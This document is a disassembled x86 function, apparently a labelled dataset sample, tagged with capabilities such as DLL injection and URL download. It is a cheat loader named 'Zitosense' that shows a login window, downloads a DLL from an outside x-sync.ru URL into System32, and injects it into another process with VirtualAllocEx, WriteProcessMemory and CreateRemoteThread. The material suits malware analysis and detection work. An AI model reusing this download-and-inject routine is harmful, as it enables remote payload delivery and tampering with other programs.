Function at 0x42a9a0
Capabilities:
Create process on windows
Create thread
Download url
Hide graphical window
Inject dll
Inject thread
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d73b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a4
push esi
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
mov dword [ebp - 0xe8], 0x30
mov dword [ebp - 0xe4], 0x40
mov dword [ebp - 0xe0], 0x42a670
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xd4], eax
xorps xmm0, xmm0
lea eax, [ebp - 0xe8]
mov dword [ebp - 0xc0], str.APP_CLASS
push eax
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xbc], 0
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov eax, dword [ebp - 0x124]
push 0
push dword [ebp - 0xd4]
cdq
push 0
push 0
sub eax, edx
push 0xa0
sar eax, 1
push 0xc8
sub eax, 0x50
push eax
mov eax, dword [ebp - 0x128]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x64
push eax
push Ordinal_2
push str.Zitosense
push str.APP_CLASS
push 0x80008
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 1
push 0
push 0
push eax
mov dword [0x4e6a10], eax
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov esi, dword [0x4e6a10]
push 0x20
call dword [sym.imp.d3d9.dll_Direct3DCreate9]
mov ecx, eax
mov dword [0x4e6a14], ecx
test ecx, ecx
je 0x42bac3
push 0x4e6a18
push 0x4e6a1c
push 0x40
xorps xmm0, xmm0
mov dword [0x4e6a30], 0
push esi
push 1
movlpd qword [0x4e6a1c], xmm0
movlpd qword [0x4e6a28], xmm0
mov dword [0x4e6a38], 0
movlpd qword [0x4e6a48], xmm0
mov dword [0x4e6a3c], 1
mov dword [0x4e6a34], 1
mov dword [0x4e6a24], 0
mov dword [0x4e6a40], 1
mov dword [0x4e6a44], 0x50
mov dword [0x4e6a50], 0x80000000
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x40]
test eax, eax
js 0x42babd
push 0xa
push dword [0x4e6a10]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x4e6a10]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 3
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push dword [0x4e6a10]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [0x4e69d0]
test eax, eax
je 0x42ab87
inc dword [eax + 0x374]
push dword [0x4e69d4]
push 0x3cd8
call fcn.00402bc0
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x31]
add esp, 8
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x42abbd
push ecx
mov ecx, eax
call fcn.004019a0
mov ecx, eax
jmp 0x42abbf
xor ecx, ecx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [0x4e69d0]
test eax, eax
push edi
cmove eax, ecx
mov dword [0x4e69d0], eax
call fcn.004072b0
mov edi, dword [0x4e69d0]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test edi, edi
jne 0x42ac05
push 0xcfc
push str.C:Users_reddersexMusicmenuimguiimgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call esi
mov edi, dword [0x4e69d0]
add esp, 0xc
movss xmm3, dword [0x436c34]
mov ecx, dword [edi + 0x98]
push 0x436104
push 0
push 0x1f84c
push 0x439020
call fcn.0041e970
lea ecx, [ebp - 0x1b0]
call fcn.0041e1e0
movss xmm3, dword [0x436c30]
mov eax, ecx
mov ecx, dword [edi + 0x98]
push 0x43690c
push eax
push 0x6eb40
push 0x477858
mov byte [ebp - 0x174], 1
mov byte [ebp - 0x194], 1
call fcn.0041e970
movss xmm3, dword [0x436c4c]
mov ecx, dword [edi + 0x98]
push 0
push 0
push 0x1efe4
push 0x458870
call fcn.0041e970
mov edi, dword [0x4e6a10]
push 0x4e6a08
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x42ad95
push 0x4e6a00
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x42ad95
mov eax, dword [0x4e69d0]
mov dword [0x4e69fc], edi
test eax, eax
jne 0x42acdc
push 0xcfc
push str.C:Users_reddersexMusicmenuimguiimgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call esi
mov eax, dword [0x4e69d0]
add esp, 0xc
or dword [eax + 0xc], 6
mov dword [eax + 0xbc], str.imgui_impl_win32
mov dword [eax + 0xe0], edi
mov dword [eax + 0x34], 9
mov dword [eax + 0x38], 0x25
mov dword [eax + 0x3c], 0x27
mov dword [eax + 0x40], 0x26
mov dword [eax + 0x44], 0x28
mov dword [eax + 0x48], 0x21
mov dword [eax + 0x4c], 0x22
mov dword [eax + 0x50], 0x24
mov dword [eax + 0x54], 0x23
mov dword [eax + 0x58], 0x2d
mov dword [eax + 0x5c], 0x2e
mov dword [eax + 0x60], 8
mov dword [eax + 0x64], 0x20
mov dword [eax + 0x68], 0xd
mov dword [eax + 0x6c], 0x1b
mov dword [eax + 0x70], 0xd
mov dword [eax + 0x74], 0x41
mov dword [eax + 0x78], 0x43
mov dword [eax + 0x7c], 0x56
mov dword [eax + 0x80], 0x58
mov dword [eax + 0x84], 0x59
mov dword [eax + 0x88], 0x5a
jmp 0x42ad9a
mov eax, dword [0x4e69d0]
mov edi, dword [0x4e6a18]
test eax, eax
jne 0x42adbd
push 0xcfc
push str.C:Users_reddersexMusicmenuimguiimgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call esi
mov eax, dword [0x4e69d0]
add esp, 0xc
or dword [eax + 0xc], 8
mov dword [eax + 0xc0], str.imgui_impl_dx9
mov eax, dword [edi]
push edi
mov dword [0x4e69f4], edi
call dword [eax + 4]
xorps xmm0, xmm0
mov dword [ebp - 0xec], 0
movups xmmword [ebp - 0x104], xmm0
mov byte [ebp - 0x108], 0
movq qword [ebp - 0xf4], xmm0
movups xmmword [ebp - 0x120], xmm0
movq qword [ebp - 0x110], xmm0
nop dword [eax]
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x42ae48
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x42b9ce
cmp byte [0x4e64e0], 0
je 0x42bab5
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0x14
mov dword [ebp - 0x7c], 0
call fcn.0042be40
cmp dword [0x4e69ec], 0
jne 0x42ae82
cmp dword [0x4e69f4], 0
je 0x42ae82
call fcn.004298d0
call fcn.00429fa0
xor ecx, ecx
call fcn.0041b170
call fcn.004063d0
mov ecx, dword [0x4e69d0]
xorps xmm0, xmm0
push 0x13f
mov edx, 0x4e64e0
mov eax, dword [ecx + 0x1ad8]
mov byte [eax + 0x7c], 1
mov dword [ecx + 0x1b78], 0x43480000
mov dword [ecx + 0x1b7c], 0x43200000
mov dword [ecx + 0x1b60], 2
or dword [ecx + 0x1b58], 3
movups xmmword [ecx + 0x1b68], xmm0
mov dword [ecx + 0x1b5c], 2
mov ecx, str.Zitosense
call fcn.0040acf0
add esp, 4
cmp byte [0x4e64d9], 0
je 0x42b54b
mov edi, dword [0x4e69d0]
test edi, edi
jne 0x42af24
push 0xcfc
push str.C:Users_reddersexMusicmenuimguiimgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call esi
mov edi, dword [0x4e69d0]
add esp, 0xc
mov eax, dword [edi + 0x1ad8]
movss xmm3, dword [0x436c84]
mov byte [eax + 0x7c], 1
mov eax, dword [edi + 0x1ad8]
movss xmm2, dword [edi + 0x19a0]
movss xmm0, dword [eax + 0xc]
mov ecx, dword [eax + 0x278]
movss dword [ebp - 0x78], xmm0
movss xmm0, dword [eax + 0x10]
movss xmm1, dword [eax + 0x14]
movss dword [ebp - 0x14], xmm0
movss xmm0, dword [eax + 0xc8]
subss xmm0, dword [eax + 0xc]
push ecx
push 0
push str.ZitoSense
push ecx
addss xmm0, dword [eax + 0x50]
mov dword [ebp - 0x40], ecx
mov ecx, dword [edi + 0x199c]
mov dword [esp], 0xbf800000
movss dword [ebp - 0x38], xmm1
movss dword [ebp - 0x44], xmm0
movss xmm0, dword [eax + 0xcc]
subss xmm0, dword [eax + 0x10]
addss xmm0, dword [eax + 0x54]
lea eax, [ebp - 0x88]
push eax
movss dword [ebp - 0x18], xmm0
call fcn.004215e0
movss xmm0, dword [ebp - 0x88]
lea ecx, [edi + 0x1bcc]
addss xmm0, dword [0x436bdc]
movss xmm1, dword [ebp - 0x38]
mov dword [edi + 0x1524], 0
mov dword [edi + 0x1540], 0
mov dword [edi + 0x1528], 0
cvttss2si eax, xmm0
mov dword [edi + 0x1534], 0x3f000000
mov dword [edi + 0x1538], 0x3f000000
mov dword [edi + 0x154c], 0
mov dword [ebp - 0x2c], 0x1d
movd xmm0, eax
lea eax, [ebp - 0x2c]
cvtdq2ps xmm0, xmm0
push eax
subss xmm1, xmm0
movss dword [ebp - 0x88], xmm0
movups xmm0, xmmword [edi + 0x179c]
movups xmmword [ebp - 0x28], xmm0
mulss xmm1, dword [0x436bb0]
movss dword [ebp - 0x38], xmm1
call fcn.00413830
mov esi, dword [0x4e69d0]
lea eax, [ebp - 0x2c]
movaps xmm0, xmmword [0x437020]
movups xmmword [edi + 0x179c], xmm0
push eax
movups xmm0, xmmword [esi + 0x17ac]
lea ecx, [esi + 0x1bcc]
mov dword [ebp - 0x2c], 0x1e
movups xmmword [ebp - 0x28], xmm0
call fcn.00413830
movaps xmm0, xmmword [0x437040]
lea eax, [ebp - 0x2c]
movups xmmword [esi + 0x17ac], xmm0
mov esi, dword [0x4e69d0]
push eax
mov dword [ebp - 0x2c], 0x1f
movups xmm0, xmmword [esi + 0x17bc]
lea ecx, [esi + 0x1bcc]
movups xmmword [ebp - 0x28], xmm0
call fcn.00413830
movaps xmm0, xmmword [0x436ff0]
movups xmmword [esi + 0x17bc], xmm0
mov ecx, dword [edi + 0x98]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea eax, [ecx + 0x34]
cmp dword [eax], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x3c], eax
jg 0x42b103
push 0x53c
push str.C:Users_reddersexMusicmenuimguiimgui.h
push str.i___Size
call esi
mov ecx, dword [edi + 0x98]
add esp, 0xc
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], ecx
cmp dword [ecx + 0x34], 1
mov eax, dword [eax + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x3c], eax
jg 0x42b129
push 0x53c
push str.C:Users_reddersexMusicmenuimguiimgui.h
push str.i___Size
call esi
mov ecx, dword [ebp - 0x10]
add esp, 0xc
mov eax, dword [ecx + 0x3c]
movss xmm3, dword [0x436c84]
push ecx
push 0
mov eax, dword [eax + 4]
push 0x434e30
push ecx
lea ecx, [ebp - 0x138]
mov dword [esp], 0
movss xmm2, dword [eax + 0x10]
push ecx
mov ecx, dword [ebp - 0x3c]
call fcn.004215e0
movss xmm6, dword [0x436bb0]
movss xmm1, dword [0x436c4c]
movss xmm7, dword [0x436be0]
movss xmm0, dword [eax]
mov eax, dword [0x4e69d0]
mulss xmm0, xmm6
subss xmm1, xmm0
movss xmm0, dword [ebp - 0x14]
addss xmm0, dword [0x436c40]
addss xmm1, xmm7
movss dword [ebp - 0x8c], xmm0
addss xmm1, dword [ebp - 0x78]
movss dword [ebp - 0x90], xmm1
test eax, eax
jne 0x42b1d7
push 0x92e
push str.C:Users_reddersexMusicmenuimguiimgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call esi
mov eax, dword [0x4e69d0]
add esp, 0xc
movss xmm6, dword [0x436bb0]
movss xmm7, dword [0x436be0]
movss xmm3, dword [0x4e6518]
xorps xmm1, xmm1
comiss xmm1, xmm3
movss xmm2, dword [eax + 0x1518]
movss xmm4, dword [0x4e651c]
movss xmm5, dword [0x4e6520]
mulss xmm2, dword [0x4e6524]
jbe 0x42b20c
xorps xmm0, xmm0
jmp 0x42b213
movaps xmm0, xmm7
minss xmm0, xmm3
comiss xmm1, xmm4
movss xmm3, dword [0x436c64]
mulss xmm0, xmm3
addss xmm0, xmm6
cvttss2si ecx, xmm0
jbe 0x42b231
xorps xmm0, xmm0
jmp 0x42b238
movaps xmm0, xmm7
minss xmm0, xmm4
mulss xmm0, xmm3
addss xmm0, xmm6
cvttss2si eax, xmm0
shl eax, 8
or ecx, eax
comiss xmm1, xmm5
jbe 0x42b253
xorps xmm0, xmm0
jmp 0x42b25a
movaps xmm0, xmm7
minss xmm0, xmm5
mulss xmm0, xmm3
addss xmm0, xmm6
cvttss2si eax, xmm0
shl eax, 0x10
or ecx, eax
comiss xmm1, xmm2
jbe 0x42b275
xorps xmm0, xmm0
jmp 0x42b27c
movaps xmm0, xmm7
minss xmm0, xmm2
mulss xmm0, xmm3
addss xmm0, xmm6
cvttss2si esi, xmm0
shl esi, 0x18
or esi, ecx
mov ecx, dword [edi + 0x98]
cmp dword [ecx + 0x34], 1
lea eax, [ecx + 0x34]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
jg 0x42b2c6
push 0x53c
push str.C:Users_reddersexMusicmenuimguiimgui.h
push str.i___Size
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [edi + 0x98]
add esp, 0xc
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
cmp dword [ecx + 0x34], 1
mov eax, dword [eax + 8]
mov eax, dword [eax + 4]
movss xmm0, dword [eax + 0x10]
movss dword [ebp - 0x14], xmm0
jg 0x42b2fc
push 0x53c
push str.C:Users_reddersexMusicmenuimguiimgui.h
push str.i___Size
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movss xmm0, dword [ebp - 0x14]
add esp, 0xc
mov ecx, dword [ebp - 0x10]
push 0
push ecx
mov dword [esp], 0
lea eax, [ebp - 0x90]
push 0
push 0x434e30
push esi
push eax
mov eax, dword [ecx + 0x3c]
movaps xmm2, xmm0
mov ecx, dword [ebp - 0x40]
push dword [eax + 4]
call fcn.0041d850
mov ecx, dword [0x4e69d0]
push str.ZitoSense
mov eax, dword [ecx + 0x1ad8]
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1ad8]
movss xmm0, dword [eax + 0xc]
subss xmm0, dword [eax + 0x50]
movss xmm2, dword [eax + 0x10]
subss xmm2, dword [eax + 0x54]
addss xmm0, dword [ebp - 0x38]
addss xmm2, dword [0x436c38]
movss dword [eax + 0xc8], xmm0
movss dword [eax + 0xcc], xmm2
movss xmm1, dword [eax + 0xe0]
maxss xmm1, xmm0
movss xmm0, dword [eax + 0xe4]
maxss xmm0, xmm2
movss dword [eax + 0xe0], xmm1
movss dword [eax + 0xe4], xmm0
call fcn.004231b0
mov ecx, dword [0x4e69d0]
add esp, 4
mov eax, dword [ecx + 0x1ad8]
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1ad8]
movss xmm0, dword [eax + 0xc]
subss xmm0, dword [eax + 0x50]
movss xmm2, dword [eax + 0x10]
subss xmm2, dword [eax + 0x54]
addss xmm0, dword [ebp - 0x44]
addss xmm2, dword [ebp - 0x18]
movss dword [eax + 0xc8], xmm0
movss dword [eax + 0xcc], xmm2
movss xmm1, dword [eax + 0xe0]
maxss xmm1, xmm0
movss xmm0, dword [eax + 0xe4]
maxss xmm0, xmm2
movss dword [eax + 0xe0], xmm1
movss dword [eax + 0xe4], xmm0
mov eax, dword [ecx + 0x1ad8]
mov byte [eax + 0x7c], 1
mov eax, dword [ecx + 0x1ad8]
cmp byte [eax + 0x7f], 0
jne 0x42b464
movss xmm1, dword [ecx + 0x1554]
movss xmm0, dword [eax + 0xec]
addss xmm1, xmm1
addss xmm1, dword [ecx + 0x19a0]
maxss xmm0, xmm1
movss dword [eax + 0xec], xmm0
movss xmm0, dword [eax + 0xf8]
maxss xmm0, dword [ecx + 0x1554]
movss dword [eax + 0xf8], xmm0
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0x42c80000
call fcn.00424990
push str.USERNAME:
call fcn.004231b0
movss xmm1, dword [0x436c90]
xorps xmm0, xmm0
call fcn.0040e210
sub esp, 0xc
lea edx, [ebp - 0x120]
call fcn.00424a10
add esp, 0xc
mov dword [ebp - 0xa0], 0x43200000
lea edx, [ebp - 0xa0]
mov dword [ebp - 0x9c], 0x41a00000
mov ecx, str.Login
call fcn.00423960
add esp, 4
test al, al
je 0x42b4f6
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b4e2
sub ecx, edx
cmp ecx, 1
sbb al, al
and byte [0x4e64d9], al
movss xmm1, dword [0x436c90]
xorps xmm0, xmm0
call fcn.0040e210
push ecx
lea edx, [ebp - 0xa8]
mov dword [ebp - 0xa8], 0x41a00000
mov ecx, 0x430d54
mov dword [ebp - 0xa4], 0x41a00000
call fcn.00423960
add esp, 4
test al, al
je 0x42b8e8
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov esi, dword [0x4e69d0]
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x2c], 0x1d
movups xmm0, xmmword [esi + 0x179c]
lea ecx, [esi + 0x1bcc]
movups xmmword [ebp - 0x28], xmm0
call fcn.00413830
movaps xmm0, xmmword [0x437020]
lea eax, [ebp - 0x2c]
movups xmmword [esi + 0x179c], xmm0
mov esi, dword [0x4e69d0]
push eax
mov dword [ebp - 0x2c], 0x1e
movups xmm0, xmmword [esi + 0x17ac]
lea ecx, [esi + 0x1bcc]
movups xmmword [ebp - 0x28], xmm0
call fcn.00413830
movaps xmm0, xmmword [0x437040]
lea eax, [ebp - 0x2c]
movups xmmword [esi + 0x17ac], xmm0
mov esi, dword [0x4e69d0]
push eax
mov dword [ebp - 0x2c], 0x1f
movups xmm0, xmmword [esi + 0x17bc]
lea ecx, [esi + 0x1bcc]
movups xmmword [ebp - 0x28], xmm0
call fcn.00413830
movaps xmm0, xmmword [0x436ff0]
lea eax, [ebp - 0x120]
push eax
push str.:__s
movups xmmword [esi + 0x17bc], xmm0
call fcn.004231b0
push str.____1_
call fcn.004231b0
push 0x4369fc
call fcn.004231b0
push str.__1337
call fcn.004231b0
add esp, 0x10
mov dword [ebp - 0xb0], 0x43390000
lea edx, [ebp - 0xb0]
mov dword [ebp - 0xac], 0x41a00000
mov ecx, 0x436a64
call fcn.00423960
add esp, 4
test al, al
je 0x42b65c
push 5
push 0
push 0
push str.https:__www.donationalerts.com_r_zito1337
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ecx
lea edx, [ebp - 0xb8]
mov dword [ebp - 0xb8], 0x43390000
mov ecx, str.__X_SYNC
mov dword [ebp - 0xb4], 0x41a00000
call fcn.00423960
add esp, 4
test al, al
je 0x42b8e8
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
mov dword [ebp - 4], 1
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
push str.https:__x_sync.ru_shtilnenado_nupj_hdfgdfddd_forum.dll
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 2
call fcn.00401460
push str.C:WindowsSystem32ZITOSENSE.dll
lea ecx, [ebp - 0x5c]
call fcn.00401460
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0x5c]
push 0
cmovae ecx, dword [ebp - 0x5c]
lea eax, [ebp - 0x74]
cmp dword [ebp - 0x60], 0x10
push 0
cmovae eax, dword [ebp - 0x74]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 8
xor eax, eax
mov dword [ebp - 0x30], 0
push ecx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
call fcn.0042bce0
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.0042a7c0
mov byte [ebp - 4], 2
mov esi, eax
mov edx, dword [ebp - 0x1c]
cmp edx, 8
jb 0x42b779
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42b76f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42baaf
push edx
push ecx
call fcn.0042c3e9
add esp, 8
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x42b83c
mov ecx, dword [ebp - 0x4c]
push 4
push 0x3000
inc ecx
push ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x42b835
mov ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x5c]
inc ecx
cmp dword [ebp - 0x48], 0x10
push 0
cmovae eax, dword [ebp - 0x5c]
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x42b826
push 0
push 0
push edi
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x42b826
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
jmp 0x42b83c
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
push 0
push 0
push str.https:__xn__80aabtwbbuhbiqdxddn.xn__p1ai_
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x48]
cmp edx, 0x10
jb 0x42b889
mov ecx, dword [ebp - 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42b87f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42baaf
push edx
push ecx
call fcn.0042c3e9
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
cmp edx, 0x10
jb 0x42b8d6
mov ecx, dword [ebp - 0x74]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42b8cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42baaf
push edx
push ecx
call fcn.0042c3e9
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
mov ecx, 3
call fcn.00403a10
call fcn.0040d260
call fcn.00408030
mov eax, dword [0x4e6a18]
push 0
mov ecx, dword [eax]
push ecx
mov dword [esp], 0x3f800000
push 0
push 3
push 0
push 0
push eax
call dword [ecx + 0xac]
mov eax, dword [0x4e6a18]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
test eax, eax
js 0x42b957
call fcn.00408420
mov eax, dword [0x4e69d0]
xor ecx, ecx
add eax, 0x1d3c
cmp byte [eax], cl
cmovne ecx, eax
call fcn.004293f0
mov eax, dword [0x4e6a18]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
mov ecx, dword [0x4e6a18]
push 0
push 0
push 0
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x44]
cmp eax, 0x88760868
jne 0x42b9c8
mov eax, dword [0x4e6a18]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
cmp eax, 0x88760869
jne 0x42b9c8
call fcn.00429b10
mov ecx, dword [0x4e6a18]
push 0x4e6a1c
push ecx
mov eax, dword [ecx]
call dword [eax + 0x40]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp eax, 0x8876086c
jne 0x42b9b8
push 0x30
push str.C:Users_reddersexMusicmenumain.h
push 0x42e478
call esi
add esp, 0xc
cmp dword [0x4e69f4], 0
je 0x42b9ce
call fcn.004298d0
jmp 0x42b9ce
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp dword [ebp - 0x100], 0x12
jne 0x42ae10
call fcn.00429b10
mov ecx, dword [0x4e69f4]
test ecx, ecx
je 0x42b9fa
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4e69f4], 0
mov esi, dword [0x4e69d0]
mov ecx, esi
mov dword [0x4e69fc], 0
call fcn.00407420
mov eax, dword [0x4e69d0]
xor ecx, ecx
cmp eax, esi
cmove eax, ecx
mov dword [0x4e69d0], eax
test esi, esi
je 0x42ba4b
mov ecx, esi
call fcn.00413ee0
mov eax, dword [0x4e69d0]
test eax, eax
je 0x42ba3c
dec dword [eax + 0x374]
push dword [0x4e69d4]
push esi
call fcn.00402be0
add esp, 8
mov ecx, dword [0x4e6a18]
test ecx, ecx
je 0x42ba65
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4e6a18], 0
mov ecx, dword [0x4e6a14]
test ecx, ecx
je 0x42ba7f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4e6a14], 0
push dword [0x4e6a10]
call dword [sym.imp.USER32.dll_DestroyWindow]
push dword [ebp - 0xd4]
push dword [ebp - 0xc0]
call dword [sym.imp.USER32.dll_UnregisterClassA]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x4e6a14]
mov edx, dword [0x4e6a18]
test edx, edx
je 0x42bae3
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov ecx, dword [0x4e6a14]
mov dword [0x4e6a18], 0
test ecx, ecx
je 0x42baf7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4e6a14], 0
push dword [ebp - 0xd4]
push dword [ebp - 0xc0]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov ecx, dword [ebp - 0xc]
mov eax, 1
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret